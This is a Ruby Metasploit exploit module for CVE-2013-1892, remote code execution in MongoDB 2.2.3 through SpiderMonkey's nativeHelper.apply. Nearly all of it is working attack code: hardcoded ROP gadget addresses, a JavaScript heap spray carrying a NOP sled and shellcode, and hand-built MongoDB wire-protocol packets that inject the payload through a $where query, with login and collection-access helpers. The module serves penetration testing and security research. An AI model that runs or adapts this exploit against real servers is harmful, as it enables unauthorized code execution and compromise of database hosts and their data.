## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => 'MongoDB nativeHelper.apply Remote Code Execution', 'Description' => %q{ This module exploit a the nativeHelper feature from spiderMonkey which allows to to control execution by calling it wit specially crafted arguments. This module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze. }, 'Author' => [ 'agix' # @agixid # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2013-1892' ], [ 'OSVDB', '91632' ], [ 'BID', '58695' ], [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux - mongod 2.2.3 - 32bits', { 'Arch' => ARCH_X86, 'mmap' => [ 0x0816f768, # mmap64@plt # from mongod 0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod 0x31337000, 0x00002000, 0x00000007, 0x00000031, 0xffffffff, 0x00000000, 0x00000000, 0x0816e4c8, # memcpy@plt # from mongod 0x31337000, 0x31337000, 0x0c0b0000, 0x00002000 ], 'ret' => 0x08055a70, # ret # from mongod 'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c] # These gadgets need to be composed with bytes < 0x80 'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP 'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2 'gadget4' => 0x08055a6c, # pop eax / ret 'gadget5' => 0x08457158 # xchg esp,eax } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 24 2013', 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(27017), OptString.new('DB', [ true, "Database to use", "admin"]), OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]), OptString.new('USERNAME', [ false, "Login to use", ""]), OptString.new('PASSWORD', [ false, "Password to use", ""]) ], self.class) end def exploit begin connect if require_auth? print_status("Mongo server #{datastore['RHOST']} use authentication...") if !datastore['USERNAME'] || !datastore['PASSWORD'] disconnect fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided") end if do_login==0 disconnect fail_with(Failure::NoAccess, "Authentication failed") end else print_good("Mongo server #{datastore['RHOST']} doesn't use authentication") end if datastore['COLLECTION'] && datastore['COLLECTION'] != "" collection = datastore['COLLECTION'] else collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') if read_only?(collection) disconnect fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection") else print_good("New document created in collection #{collection}") end end print_status("Let's exploit, heap spray could take some time...") my_target = target shellcode = Rex::Text.to_unescape(payload.encoded) mmap = my_target['mmap'].pack("V*") ret = [my_target['ret']].pack("V*") gadget1 = "0x#{my_target['gadget1'].to_s(16)}" gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V")) gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V")) gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V")) gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V")) shellcode_var="a"+Rex::Text.rand_text_hex(4) sizechunk_var="b"+Rex::Text.rand_text_hex(4) chunk_var="c"+Rex::Text.rand_text_hex(4) i_var="d"+Rex::Text.rand_text_hex(4) array_var="e"+Rex::Text.rand_text_hex(4) ropchain_var="f"+Rex::Text.rand_text_hex(4) chunk2_var="g"+Rex::Text.rand_text_hex(4) array2_var="h"+Rex::Text.rand_text_hex(4) # nopsled + shellcode heapspray payload_js = shellcode_var+'=unescape("'+shellcode+'");' payload_js << sizechunk_var+'=0x1000;' payload_js << chunk_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } ' payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));' payload_js << array_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } ' # retchain + ropchain heapspray payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");' payload_js << chunk2_var+'="";' payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } ' payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));' payload_js << array2_var+'=new Array();' payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } ' # Trigger and first ropchain payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, ' payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);' request_id = Rex::Text.rand_text(4) packet = request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) where = "\x02\x24\x77\x68\x65\x72\x65\x00" where << [payload_js.length+4].pack("L") where << payload_js+"\x00" where.insert(0, [where.length + 4].pack("L")) packet += where packet.insert(0, [packet.length + 4].pack("L")) sock.put(packet) disconnect rescue ::Exception => e fail_with(Failure::Unreachable, "Unable to connect") end end def require_auth? request_id = Rex::Text.rand_text(4) packet = "\x3f\x00\x00\x00" #messageLength (63) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query ({"listDatabases"=>1}) packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def read_only?(collection) request_id = Rex::Text.rand_text(4) _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02" key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00" insert = _id+key+[value.length].pack("L")+value+"\x00" packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection) packet << [insert.length+4].pack("L") packet << insert sock.put(packet) request_id = Rex::Text.rand_text(4) packet = [datastore['DB'].length + 61].pack("L") #messageLength (66) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 Query) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) packet << "\x1b\x00\x00\x00" packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once have_auth_error?(response) end def do_login print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database") nonce = get_nonce status = auth(nonce) return status end def auth(nonce) request_id = Rex::Text.rand_text(4) packet = request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\xff\xff\xff\xff" #numberToReturn (1) #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination document << datastore['USERNAME'] + "\x00" document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" document << nonce + "\x00" document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00" document << "\x00" #Calculate document length document.insert(0, [document.length + 4].pack("L")) packet += document #Calculate messageLength packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength sock.put(packet) response = sock.get_once if have_auth_error?(response) print_error("Bad login or DB") return 0 else print_good("Successful login on DB #{datastore['db']}") return 1 end end def get_nonce request_id = Rex::Text.rand_text(4) packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length) packet << request_id #requestID packet << "\xff\xff\xff\xff" #responseTo packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) packet << "\x00\x00\x00\x00" #flags packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) #query {"getnonce"=>1.0} packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) response = sock.get_once documents = response[36..1024] #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} nonce = documents[15..30] end def have_auth_error?(response) #Response header 36 bytes long documents = response[36..1024] #{"errmsg"=>"auth fails", "ok"=>0.0} #{"errmsg"=>"need to login", "ok"=>0.0} if documents.include?('errmsg') || documents.include?('unauthorized') return true else return false end end end